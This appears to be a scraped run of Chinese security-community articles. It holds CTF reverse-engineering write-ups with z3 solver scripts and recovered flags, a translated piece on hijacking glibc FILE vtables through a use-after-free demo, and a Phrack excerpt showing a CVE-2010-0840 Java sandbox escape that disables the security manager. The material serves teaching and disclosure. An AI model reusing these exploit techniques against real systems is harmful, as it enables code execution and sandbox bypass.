a1[1] &= a1[2];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 50 )
{
a1[3] = *(unsigned __int8 *)(a1[8] + 1);
printf("a1[3] = %x\n", a1[3]);
a1[8] += 2;
}
if ( *(unsigned char *)a1[8] == 9 )
{
printf("a1[1]_%x = 1877735783\n", a1[1]);
a1[1] = 1877735783;
++a1[8];
}
if ( *(unsigned char *)a1[8] == 16 )
{
printf("a1[9]_%x = %x\n", a1[9], a1[1]);
a1[9] = a1[1];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 51 )
{
printf("a1[4]_%x = %x\n", a1[4], a1[1]);
a1[4] = a1[1];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 52 )
{
a1[2] = *(unsigned char *)(a1[8] + 1);
printf("a1[2] = %x\n", a1[2]);
a1[8] += 2;
}
if ( *(unsigned char *)a1[8] == 0xFE )
{
printf("a1[1]_%x = %x\n", a1[1], a1[9]);
a1[1] = a1[9];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 17 )
{
//printf("============================\n");
printf("%x\n", a1[1]);
++a1[8];
//printf("%x\n", *(unsigned char *)(a1[8]));
}
if ( *(unsigned char *)a1[8] == 0xA0 )
{
if ( a1[1] != 1877735783 )
printf("a1[1] != 1877735783 %x\n\n\n\n\n", a1[1]);
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xA1 )
{
//read(0, s, 0x2Cu);
//if ( strlen(s) != 44 )
//exit(0);
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xB1 )
{
//printf("?????????????????????????????????????????????????\n");
a1[9] = dword_804B080[0];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xB2 )
{
a1[9] = dword_804B080[1];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xA4 )
{
dword_804B080[*(unsigned __int8 *)(a1[8] + 1)] = a1[1];
a1[8] += 4;
}
if ( *(unsigned char *)a1[8] == 0xB3 )
{
a1[9] = dword_804B080[2];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xB4 )
{
a1[9] = dword_804B080[3];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xC1 )
{
a1[1] = (unsigned char)s[*(unsigned char *)(a1[8] + 1)];
printf("a1[1] = %x\n", a1[1]);
a1[8] += 2;
if(count == 32)
{
printf("%x\n", *(unsigned char *)(a1[8]));
}
count++;
}
if ( *(unsigned char *)a1[8] == 0xC7 )
{
if ( dword_804B060 != a1[1] )
printf("%x != a1[1] %x\n\n\n", dword_804B060, a1[1]);
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xC8 )
{
if ( dword_804B064 != a1[1] )
printf("%x != a1[1] %x\n\n\n\n", dword_804B064, a1[1]);
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xC2 )
{
if ( (unsigned __int8)*(unsigned int *)(a1[8] + 1) != a1[1] )
{
printf("(unsigned __int8)*(unsigned int *)(a1[8] + 1) != a1[1]\n");
flag[cnt++] = (unsigned __int8)*(unsigned int *)(a1[8] + 1)^'*'^a1[1];
}
a1[8] += 5;
}
}
return 1;
}
int main(void)
{
unsigned char op[] = {0xA1, 0xC1, 0x00, 0xB1, 0x77, 0xC2, 0x4A, 0x01, 0x00, 0x00, 0xC1, 0x01, 0xB2, 0x77, 0xC2, 0x19, 0x01, 0x00, 0x00, 0xC1, 0x02, 0xB4, 0x77, 0xC2, 0xDD, 0x01, 0x00, 0x00, 0xC1, 0x03, 0xB3, 0x77, 0xC2, 0x0F, 0x01, 0x00, 0x00, 0xC1, 0x04, 0xB2, 0x77, 0xC2, 0x1B, 0x01, 0x00, 0x00, 0xC1, 0x05, 0xB4, 0x77, 0xC2, 0x89, 0x01, 0x00, 0x00, 0xC1, 0x06, 0xB1, 0x77, 0xC2, 0x19, 0x01, 0x00, 0x00, 0xC1, 0x07, 0xB3, 0x77, 0xC2, 0x54, 0x01, 0x00, 0x00, 0xC1, 0x08, 0xB1, 0x77, 0xC2, 0x4F, 0x01, 0x00, 0x00, 0xC1, 0x09, 0xB1, 0x77, 0xC2, 0x4E, 0x01, 0x00, 0x00, 0xC1, 0x0A, 0xB3, 0x77, 0xC2, 0x55, 0x01, 0x00, 0x00, 0xC1, 0x0B, 0xB3, 0x77, 0xC2, 0x56, 0x01, 0x00, 0x00, 0xC1, 0x0C, 0xB4, 0x77, 0xC2, 0x8E, 0x00, 0x00, 0x00, 0xC1, 0x0D, 0xB2, 0x77, 0xC2, 0x49, 0x00, 0x00, 0x00, 0xC1, 0x0E, 0xB3, 0x77, 0xC2, 0x0E, 0x01, 0x00, 0x00, 0xC1, 0x0F, 0xB1, 0x77, 0xC2, 0x4B, 0x01, 0x00, 0x00, 0xC1, 0x10, 0xB3, 0x77, 0xC2, 0x06, 0x01, 0x00, 0x00, 0xC1, 0x11, 0xB3, 0x77, 0xC2, 0x54, 0x01, 0x00, 0x00, 0xC1, 0x12, 0xB2, 0x77, 0xC2, 0x1A, 0x00, 0x00, 0x00, 0xC1, 0x13, 0xB1, 0x77, 0xC2, 0x42, 0x01, 0x00, 0x00, 0xC1, 0x14, 0xB3, 0x77, 0xC2, 0x53, 0x01, 0x00, 0x00, 0xC1, 0x15, 0xB1, 0x77, 0xC2, 0x1F, 0x01, 0x00, 0x00, 0xC1, 0x16, 0xB3, 0x77, 0xC2, 0x52, 0x01, 0x00, 0x00, 0xC1, 0x17, 0xB4, 0x77, 0xC2, 0xDB, 0x00, 0x00, 0x00, 0xC1, 0x18, 0xB1, 0x77, 0xC2, 0x19, 0x01, 0x00, 0x00, 0xC1, 0x19, 0xB4, 0x77, 0xC2, 0xD9, 0x00, 0x00, 0x00, 0xC1, 0x1A, 0xB1, 0x77, 0xC2, 0x19, 0x01, 0x00, 0x00, 0xC1, 0x1B, 0xB3, 0x77, 0xC2, 0x55, 0x01, 0x00, 0x00, 0xC1, 0x1C, 0xB2, 0x77, 0xC2, 0x19, 0x00, 0x00, 0x00, 0xC1, 0x1D, 0xB3, 0x77, 0xC2, 0x00, 0x01, 0x00, 0x00, 0xC1, 0x1E, 0xB1, 0x77, 0xC2, 0x4B, 0x01, 0x00, 0x00, 0xC1, 0x1F, 0xB2, 0x77, 0xC2, 0x1E, 0x00, 0x00, 0x00, 0xC1, 0x20, 0x80, 0x02, 0x18, 0x00, 0x00, 0x00, 0x23, 0x10, 0xC1, 0x21, 0x80, 0x02, 0x10, 0x00, 0x00, 0x00, 0x23, 0xF7, 0xC1, 0x22, 0x80, 0x02, 0x08, 0x00, 0x00, 0x00, 0x23, 0xF7, 0xC1, 0x23, 0xF7, 0xFE, 0x80, 0x02, 0x05, 0x00, 0x00, 0x00, 0x22, 0x77, 0x10, 0x80, 0x02, 0x07, 0x00, 0x00, 0x00, 0x23, 0x80, 0x02, 0x23, 0x77, 0xF1, 0x98, 0x31, 0x77, 0x10, 0x80, 0x02, 0x18, 0x00, 0x00, 0x00, 0x23, 0x80, 0x02, 0x20, 0xB9, 0xE4, 0x35, 0x31, 0x77, 0x10, 0x80, 0x02, 0x12, 0x00, 0x00, 0x00, 0x22, 0x77, 0xA0, 0xC1, 0x24, 0x80, 0x02, 0x18, 0x00, 0x00, 0x00, 0x23, 0x10, 0xC1, 0x25, 0x80, 0x02, 0x10, 0x00, 0x00, 0x00, 0x23, 0xF7, 0xC1, 0x26, 0x80, 0x02, 0x08, 0x00, 0x00, 0x00, 0x23, 0xF7, 0xC1, 0x27, 0xF7, 0xFE, 0x32, 0x20, 0x43, 0x33, 0x77, 0x80, 0x02, 0x11, 0x00, 0x00, 0x00, 0x22, 0x35, 0x37, 0x38, 0x77, 0x80, 0x02, 0x0D, 0x00, 0x00, 0x00, 0x23, 0x77, 0x38, 0x39, 0x10, 0x32, 0x20, 0x43, 0x33, 0x77, 0x80, 0x02, 0x11, 0x00, 0x00, 0x00, 0x22, 0x35, 0x37, 0x38, 0x77, 0x80, 0x02, 0x0D, 0x00, 0x00, 0x00, 0x23, 0x77, 0x38, 0x39, 0xC7, 0xC1, 0x28, 0x80, 0x02, 0x18, 0x00, 0x00, 0x00, 0x23, 0x10, 0xC1, 0x29, 0x80, 0x02, 0x10, 0x00, 0x00, 0x00, 0x23, 0xF7, 0xC1, 0x2A, 0x80, 0x02, 0x08, 0x00, 0x00, 0x00, 0x23, 0xF7, 0xC1, 0x2B, 0xF7, 0xFE, 0x32, 0x20, 0x43, 0x33, 0x77, 0x80, 0x02, 0x11, 0x00, 0x00, 0x00, 0x22, 0x35, 0x37, 0x38, 0x77, 0x80, 0x02, 0x0D, 0x00, 0x00, 0x00, 0x23, 0x77, 0x38, 0x39, 0x10, 0x32, 0x20, 0x43, 0x33, 0x77, 0x80, 0x02, 0x11, 0x00, 0x00, 0x00, 0x22, 0x35, 0x37, 0x38, 0x77, 0x80, 0x02, 0x0D, 0x00, 0x00, 0x00, 0x23, 0x77, 0x38, 0x39, 0xC8, 0x99};
unsigned int a1[10] = {0};
a1[8] = (unsigned int)op;
sub_80487A8(a1);
puts(flag);
//printf("%x\n", count);
}
运行得到前面32字节明文： **16584abc45baff901c59dde3b1bb6701**
后面12字节加密逻辑。
前4字节：
a1[1] = 2a
80
23
a1[1]_2a <= 18
a1[9]_2f = 2a000000
a1[1] = 2a
23
a1[1]_2a <= 10
a1[9]_2a000000 += 2a0000
a1[1] = 2a
23
a1[1]_2a <= 8
a1[9]_2a2a0000 += 2a00
a1[1] = 2a
a1[9]_2a2a2a00 += 2a
a1[1]_2a = 2a2a2a2a
22
a1[1]_2a2a2a2a >>= 5
a1[1]_1515151 ^= 2a2a2a2a
a1[9]_2a2a2a2a = 2b7b7b7b
23
a1[1]_2b7b7b7b <= 7
31
a1[1]_bdbdbd80 &= 98f17723
a1[1]_98b13500 ^= 2b7b7b7b
a1[9]_2b7b7b7b = b3ca4e7b
23
a1[1]_b3ca4e7b <= 18
31
a1[1]_7b000000 &= 35e4b920
a1[1]_31000000 ^= b3ca4e7b
a1[9]_b3ca4e7b = 82ca4e7b
22
a1[1]_82ca4e7b >>= 12
a1[1]_20b2 ^= 82ca4e7b
a1[1] != 1877735783 82ca6ec9
后面4字节加密逻辑：
a1[1] = 2a
23
a1[1]_2a <= 18
a1[9]_82ca4e7b = 2a000000
a1[1] = 2a
23
a1[1]_2a <= 10
a1[9]_2a000000 += 2a0000
a1[1] = 2a
23
a1[1]_2a <= 8
a1[9]_2a2a0000 += 2a00
a1[1] = 2a
a1[9]_2a2a2a00 += 2a
a1[1]_2a = 2a2a2a2a
a1[3] = 20
2a2a2a2a *= 20
a1[4]_0 = 45454540
a1[1]_45454540 ^= 2a2a2a2a
22
a1[1]_6f6f6f6a >>= 11
a1[5] = 37b7
a1[1] = 37b7
a1[1]_37b7 ^= 45454540
a1[1]_454572f7 ^= 2a2a2a2a
23
a1[1]_6f6f58dd <= d
a1[1]_eb1ba000 ^= 2a2a2a2a
a1[1]_c1318a2a ^= 45454540
a1[1]_8474cf6a ^= 37b7
a1[9]_2a2a2a2a = 8474f8dd
a1[3] = 20
8474f8dd *= 20
a1[4]_45454540 = 8e9f1ba0
a1[1]_8e9f1ba0 ^= 8474f8dd
22
a1[1]_aebe37d >>= 11
a1[5] = 575
a1[1] = 575
a1[1]_575 ^= 8e9f1ba0
a1[1]_8e9f1ed5 ^= 8474f8dd
23
a1[1]_aebe608 <= d
a1[1]_7cc10000 ^= 8474f8dd
a1[1]_f8b5f8dd ^= 8e9f1ba0
a1[1]_762ae37d ^= 575
cf1304dc != a1[1] 762ae608
最后4字节加密逻辑与上一组加密逻辑相同（从相同测试输入得到相同的加密结果推出）
按照打印出的加密逻辑，自己重写一下加密代码，再z3分组求解出对应的明文：
from z3 import *
s = Solver()904182048
'''
#第一组加密
tmp = BitVec('tmp', 32)
tmp = (tmp >> 5)^tmp
tmp = ((tmp << 7)&0x98f17723)^tmp
tmp = ((tmp << 0x18)&0x35e4b920)^tmp
tmp = (tmp >> 0x12)^tmp
s.add(tmp == 1877735783)
s.add((tmp&0xff) > 32, (tmp&0xff) < 127)
'''
#第二组加密
flag = BitVec('flag', 64)
a = (flag*0x20)&0xffffffff
tmp = (a^flag)&0xffffffff
b = (tmp >> 0x11)&0xffffffff
tmp = ((b^a)^flag)&0xffffffff
tmp = ((tmp << 0xd)^flag^a^b)&0xffffffff
t = tmp
a = (t*0x20)&0xffffffff
tmp = (t^a)&0xffffffff
b = (tmp >> 0x11)&0xffffffff
tmp = (a^b^t)&0xffffffff
tmp = ((tmp << 0xd)^t^a^b)&0xffffffff
#print(hex(tmp))
s.add(tmp == 0x283b8e84)
#s.add((tmp&0xff) > 32, (tmp&0xff) < 127)
if s.check() == sat:
print(s.model())
else:
print('Not Found!')
得到： **a254b06cdc23**
所以最后的flag就是： **16584abc45baff901c59dde3b1bb6701a254b06cdc23**
## DeltX
先看到输入格式的要求，格式为SangFor{{}，然后输入范围[0, 9]与[A-F]
但最后交flag一直不对才注意到输入的第四组限定了输入的英文字符要为小写：
然后加密的话就是乘法和加法（看结构，调试看输入与输出的关系
最后z3约束求解：
from z3 import *
data = [0x249E15C5, 0xFFFF59BC, 0x34C7EAE2, 0x216B, 0x637973BA, 0x819D, 0xE5FD104, 0x9393]
flag = ''
for i in range(4):
s = Solver()
a, b = BitVecs("x1 x2", 32)
s.add(a*b == data[2*i+0])
s.add(a-b == data[2*i+1])
s.add(a > 0, a < 0xffff)
s.add(b > 0, b < 0xffff)
if s.check() == sat:
m = s.model()
flag += hex(m[a].as_long())[2:] + hex(m[b].as_long())[2:]
else:
print('Not Found!')
flag = flag[:12].upper()+flag[12:16].lower()+flag[16:].upper()
print('SangFor{'+flag+'}')
#SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
## Ez_android
jeb打开apk，逻辑就是输入用户名和密码，然后用密码到： **139.224.191.201 20080** 去取密钥作为base64编码的码表。
用户名和密码jeb中直接就可以看到，但这里的密码的md5值是经过变换过的。
简答处理一下得到密码的正确md5值：
>>> s = "c232666f1410b3f5010dc51cec341f58"
>>> s = bytes.fromhex(s)
>>> s
b'\xc22fo\x14\x10\xb3\xf5\x01\r\xc5\x1c\xec4\x1fX'
>>> s = [s[i]+1 for i in range(len(s))]
>>> s
[195, 51, 103, 112, 21, 17, 180, 246, 2, 14, 198, 29, 237, 53, 32, 89]
>>> bytes(s).hex()
'c33367701511b4f6020ec61ded352059'
>>>
查一下这个md5，得到：654321
nc连接给的ip和端口后输入密码得到密钥。
最后解密：
import base64
s = "TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom"
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
enc = "3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P"
ans = enc.translate(str.maketrans(s, table))
print(bytes(list(base64.b64decode(ans))))
#SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
## Safe Box
程序用到父子进程反调试，Debug Blocker技术，其它来说流程都很清晰。
利用int3（0x80000003）断点把异常传递给父进程，然后父进程根据断点位置的不同进行不同的操作。
其中断点位置下个机器码是0x8b的地方将ecx改写了。
看到触发这个异常地方的代码：其实就是把随机数种子改成了0x534EB68
另外一个触发断点异常位置的下一个机器码是0x48的地方是进行对程序中的一个函数进行了解密。
再来看到程序的主逻辑：
第一输入：
这里z3约束求解即可。
from z3 import *
s = Solver()
Seed = BitVec('passwd', 64)
v2 = (Seed % 0x2540BE3FF)&0xff
v3 = ((Seed % 0x2540BE3FF) >> 8) & 0xF
v4 = ((Seed % 0x2540BE3FF) >> 20) & 0xFFF
v5 = v2 + 1;
v6 = ((Seed % 0x2540BE3FF) >> 12)&0xff
v7 = v3 + 1;
v8 = v4 + ~v2
v9 = v4
v10 = 21 * v6
for i in range(16):
v3 += v3 ^ v8
v2 += v4 | v2 & v7
v9 += (v10 + v9) % v5
v6 += v6 / v7
s.add(v3 == 0x38006F1)
s.add(v2 == 0x7291)
s.add(v9 == 0x8B3)
s.add(v6 == 0x80)
s.add(Seed > 0, Seed <= 0xffffffff)
if s.check() == sat:
print(s.model())
else:
print('Not Found!')
#1915969329
第二个输入：
上面对输入加密的函数sub_140001880就是父进程收到子进程断点异常后进行解密后的。
这里程序运行后，dump出内存就能看到这个完整的解密函数了。魔改的xtea加密。
解密：
#include <stdio.h>
unsigned int get_delat()
{
int i = 0;
unsigned int ans = 0, delat = 0x12345678;
for(i = 0; i < 32; i++)
ans += delat;
return ans;
}
void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
unsigned int i;
unsigned int v0=v[0], v1=v[1], delta=0x12345678, sum=get_delat();
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 >> 6) ^ (v0 << 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 >> 6) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
/*
unsigned int v[2]={0x36C128C5, 0x0C4799A63};
unsigned int const k[4]={0x47, 0x57, 0x48, 0x54};
unsigned int r=32;
decipher(r, v, k);
printf("解密后的数据：%x %x\n",v[0],v[1]); */
unsigned int v[] = {0x36C128C5, 0xC4799A63, 0xE8013E6C, 0xA9F49003, 0x607EF54A, 0x542C2DDF, 0x558BD01C, 0x65512CA2, 0xBE1E3D05, 0x3C467DAD};
unsigned int const k[4]={0x47, 0x57, 0x48, 0x54};
unsigned int r=32;
for(int i = 0; i < 5; i++)
{
decipher(r, v+2*i, k);
}
for(int i = 0; i < 10; i++)
{
printf("%c", v[i]);
}
return 0;
}
//S_s0_fuNny
第三个输入：利用修改后的随机数种子生成32个随机数然后用前16个和输入进行异或。
生成随机数：
#include <stdio.h>
#include <stdlib.h>
unsigned int seed = 0x534EB68;
unsigned int a[16], b[16];
int main(void)
{
srand(seed);
for(int i = 0; i < 16; i++)
{
a[i] = rand();
printf("%#x, ", a[i]);
}
putchar(10);
srand(seed + 1);
for(int i = 0; i < 16; i++)
{
b[i] = rand();
printf("%#x, ", b[i]);
}
}
最后的比较函数中还进行了一些运算和打乱顺序，但我们可以不关心。因为分析生成的随机数看到都是16位的而输入是8位，他们在异或后只会改变低字节位置的值。
所以说我们只用把生成的前16字节随机数和密文中高字节和前16字节随机数高字节相同的数据找出来异或就是输入了。（虽然有相同的，但很少，简单多试就是
异或一下得到明文：
>>> a = [0x4147, 0x2f06, 0x5017, 0x7d6c, 0x1583, 0x37ea, 0x6fdc, 0xd03, 0x3f43, 0x4156, 0xed7, 0x1094, 0x5c4f, 0x173f, 0x193a, 0x1357]
>>>
>>> b = [0x4118, 0x2F62, 0x00005027, 0x00007D33, 0x000015DA, 0x00003785, 0x00006F89, 0x00000D5C, 0x00003F72, 0x0000413F, 0x00000EBC, 0x000010A7, 0x00005C10, 0x0000174B, 0x0000190A, 0x00001338]
>>> ans = [a[i]^b[i] for i in range(16)]
>>> ans
[95, 100, 48, 95, 89, 111, 85, 95, 49, 105, 107, 51, 95, 116, 48, 111]
>>> bytes(ans)
b'_d0_YoU_1ik3_t0o'
最后所有拼接起来就是flag： **GWHT{r3_1S_s0_fuNny_d0_YoU_1ik3_t0o}** | 社区文章 |
# 【技术分享】利用FILE结构执行任意代码
|
##### 译文声明
本文是翻译文章，文章来源：outflux
原文地址：<https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **Ox9A82**](http://bobao.360.cn/member/contribute?uid=2676915949)
**稿费：50RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)************ **在线投稿**
**简介**
当我们想要攻击一个进程时，一个很有趣的目标就是堆上的FILE结构，FILE结构被glibc中的输入输出流函数（fopen()，fread()，fclose()等）所使用。
大多数FILE的结构（在内部是_IO_FILE结构）是指向用于各种流和标志的内存缓冲区的指针。有趣的是，这个指针并不是完整的结构。当一个新的FILE结构被成功分配并且其指针从fopen()函数返回时，glibc实际上分配了一个名为_IO_FILE_plus的内部结构，它包含了_IO_FILE结构和一个指向_IO_jump_t结构的指针，而这个结构又包含了附加到FILE的所有函数的指针列表。这就是它的vtable，其作用和结构就像C++的虚函数表一样，任何一个与FILE有关的流函数调用都会使用这张表。所以在堆上，我们有如下图的结构：
对于use-after-free漏洞，堆溢出或者任意地址写漏洞，这个vtable指针是一个有趣的目标，很像可以在setjmp(),longjmp(),atexit()中找到的指针，可以被用来控制程序的执行流程。前一段时间，glibc引入了PTR_MANGLE/PTR_DEMANGLE来保护后面提到的这些函数，但是直到现在为止还没有以同样的方式保护FILE结构。
我希望能够改变这个状况，所以就引入了一个使用PTR_MANGLE的补丁来保护vtable指针。希望我没有忽略一些重要的东西，因为我真的很想看到这个补丁可以起到作用。其实，对FILE结构的利用要比对setjmp()和atexit()函数的利用更为常见
🙂
**演示demo**
下面是一个在use-after-free漏洞中利用的演示demo
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
{
printf("Dave, my mind is going.n");
fflush(stdout);
}
void * funcs[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
};
int main(int argc, char * argv[])
{
FILE *fp;
unsigned char *str;
printf("sizeof(FILE): 0x%xn", sizeof(FILE));
/* Allocate and free enough for a FILE plus a pointer. */
str = malloc(sizeof(FILE) + sizeof(void *));
printf("freeing %pn", str);
free(str);
/* Open a file, observe it ended up at previous location. */
if (!(fp = fopen("/dev/null", "r"))) {
perror("fopen");
return 1;
}
printf("FILE got %pn", fp);
printf("_IO_jump_t @ %p is 0x%08lxn",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Overwrite vtable pointer. */
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
printf("_IO_jump_t @ %p now 0x%08lxn",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Trigger call to pwn(). */
fclose(fp);
return 0;
}
在打补丁之前：
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.
在打补丁之后：
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault
**后记**
一些聪明的读者可能会注意到，这个演示利用了glibc的另一个特性，就是它的malloc系统是不随机的，这允许攻击者确定各种结构在堆中相对于彼此的位置。我也很乐于看到它是固定的，但它需要更多的时间去学习。 | 社区文章 |
原文：<http://phrack.org/papers/escaping_the_java_sandbox.html>
在上一篇文章中，我们为读者详细介绍了实例未初始化漏洞，在本文中，我们将为读者介绍最后两种漏洞，即受信任的方法链攻击和序列化漏洞。
**\----[ 4.3 - 受信任的方法链攻击**
* * *
**\------[ 4.3.1 - 背景知识**
* * *
在Java中，每当进行安全检测时，都会检查整个调用堆栈。其中，调用堆栈中的每一帧都含有一个方法名，并且该方法名称是由相关的类和方法的签名进行标识的。受信任的方法链攻击背后的原理是，让调用堆栈上只有受信任的类。为此，通常要求攻击者通过受信任的类中的反射特性来调用目标方法。这样的话，当安全检查完成，并且目标方法在特权上下文中运行时（通常为了禁用安全管理器），调用堆栈上就不会有应用程序类（这些类都是不受信任的）。为了使这种方法行之有效，该方法链必须位于特权线程上，例如事件线程。不过，该方法链不能用于主线程，因为具有main方法的类被认为是不可信的，因此，安全检查将会抛出异常。
**\------[ 4.3.2 - 示例 : CVE-2010-0840**
* * *
这个漏洞是针对Java平台的第一个受信任的方法链攻击样本[32]。它借助于_java.beans.Statement_类的反射特性来执行目标方法。其中，攻击代码会注入一个
_JList_
GUI元素（“一个显示对象列表并允许用户选择一个或多个选项的组件”，见参考文献[33]）来强制GUI线程绘制新元素。该漏洞利用代码具体如下所示：
--------------------------------------------------------------------------- // target method
Object target = System.class;
String methodName = "setSecurityManager";
Object[] args = new Object[] { null };
Link l = new Link(target, methodName, args);
final HashSet s = new HashSet();
s.add(l);
Map h = new HashMap() {
public Set entrySet() {
return s;
}; };
sList = new JList(new Object[] { h });
---------------------------------------------------------------------------
通过_Link_对象，目标方法被表示为_Statement_类。需要说明的是，这个_Link_类不是来自JCL，而是由安全分析人员构造的一个类。实际上，_Link_类是_Expression_which的子类，而后者属于_Statement_类的子类。此外，_Link_对象还以弄虚作假的方式实现了_java.util.Map.Entry_interface的getValue()方法。其实，它并没有真正实现_Entry_接口，因为这里只有一个getValue()方法。所以，这种“实现”无法使用普通的javac编译器搞定，而只能通过直接修改_Link_类的字节码来完成。
--------------------------------------------------------------------------- interface Entry<K,V> {
[...]
/**
* Returns the value corresponding to this entry. If the mapping
* has been removed from the backing map (by the iterator's
* <tt>remove</tt> operation), the results of this call are
* undefined.
*
* @return the value corresponding to this entry
* @throws IllegalStateException implementations may, but are not
* required to, throw this exception if the entry has been
* removed from the backing map.
*/
V getValue();
[...]
---------------------------------------------------------------------------
如您所见，该接口只是提供了一个getValue()方法。事实上，_Expression_类也有一个具有相同签名的getValue()方法。就是因为这一点，所以，在运行时才能够成功调用_Link_类型的对象的Entry.getValue()，尽管它只是_Entry_的实现的赝品。
--------------------------------------------------------------------------- // in AbstractMap
public String toString() {
Iterator<Entry<K,V>> i = entrySet().iterator();
if (! i.hasNext())
return "{}";
StringBuilder sb = new StringBuilder();
sb.append('{');
for (;;) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
sb.append(key == this ? "(this Map)" : key);
sb.append('=');
sb.append(value == this ? "(this Map)" : value);
if (! i.hasNext())
return sb.append('}').toString();
sb.append(',').append(' ');
}
}
---------------------------------------------------------------------------
安全分析人员的目的是，通过调用AbstractMap.toString()方法来调用_Link_对象上的Entry.getValue()，进而调用invoke()方法：
--------------------------------------------------------------------------- public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}
---------------------------------------------------------------------------
之后，invoke方法通过反射执行安全分析人员的目标方法System.setSecurityManapger（null），从而禁用安全管理器。利用反射特性调用这个方法时，对应的调用堆栈如下所示：
--------------------------------------------------------------------------- at java.beans.Statement.invoke(Statement.java:235)
at java.beans.Expression.getValue(Expression.java:98)
at java.util.AbstractMap.toString(AbstractMap.java:487)
at javax.swing.DefaultListCellRenderer.getListCellRendererComponent
(DefaultListCellRenderer.java:125)
at javax.swing.plaf.basic.BasicListUI.updateLayoutState
(BasicListUI.java:1337)
at javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState
(BasicListUI.java:1287)
at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251)
at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227)
at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143)
at javax.swing.JComponent.paintComponent(JComponent.java:758)
at javax.swing.JComponent.paint(JComponent.java:1022)
at javax.swing.JComponent.paintChildren(JComponent.java:859)
at javax.swing.JComponent.paint(JComponent.java:1031)
at javax.swing.JComponent.paintChildren(JComponent.java:859)
at javax.swing.JComponent.paint(JComponent.java:1031)
at javax.swing.JLayeredPane.paint(JLayeredPane.java:564)
at javax.swing.JComponent.paintChildren(JComponent.java:859)
at javax.swing.JComponent.paint(JComponent.java:1031)
at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104)
at javax.swing.BufferStrategyPaintManager.paint
(BufferStrategyPaintManager.java:285)
at javax.swing.RepaintManager.paint(RepaintManager.java:1128)
at javax.swing.JComponent._paintImmediately(JComponent.java:5052)
at javax.swing.JComponent.paintImmediately(JComponent.java:4862)
at javax.swing.RepaintManager.paintDirtyRegions
(RepaintManager.java:723)
at javax.swing.RepaintManager.paintDirtyRegions
(RepaintManager.java:679)
at javax.swing.RepaintManager.seqPaintDirtyRegions
(RepaintManager.java:659)
at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run
(SystemEventQueueUtilities.java:128)
at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)
at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)
at java.awt.EventDispatchThread.pumpOneEventForFilters
(EventDispatchThread.java:273)
at java.awt.EventDispatchThread.pumpEventsForFilter
(EventDispatchThread.java:183)
at java.awt.EventDispatchThread.pumpEventsForHierarchy
(EventDispatchThread.java:173)
at java.awt.EventDispatchThread.pumpEvents
(EventDispatchThread.java:168)
at java.awt.EventDispatchThread.pumpEvents
(EventDispatchThread.java:160)
at java.awt.EventDispatchThread.run(EventDispatchThread.java:121)
---------------------------------------------------------------------------
可以看到，这个调用堆栈上并没有不受信任的类。所以，无论进行任何安全检查，调用堆栈的元素都能顺利通过。
如上面的调用堆栈所示，绘制操作（`RepaintManager.java:1128`）最终将调用getListCellRendererComponent()方法（`DefaultListCellRenderer.java:125`）。_JList_构造函数的一个参数是将由item元素组成的列表。之后，该方法会调用相关元素的toString()方法。第一个元素是
_Map_
，所以，会对其所有条目调用getValue()方法，而getValue()方法会调用Statement.invoke()方法，后者将通过反射特性来
调用安全分析人员的目标方法。
**\------[ 4.3.3 - 讨论**
* * *
通过修改Statement.invoke()方法，官方已经修复了该漏洞，具体来说，就是在创建_Statement_的代码的_AccessControlContext_中执行反射调用。需要说明的是，该漏洞不适用于最新版本的JRE，因为创建_Statement_does的不受信任的代码没有被赋予任何权限。
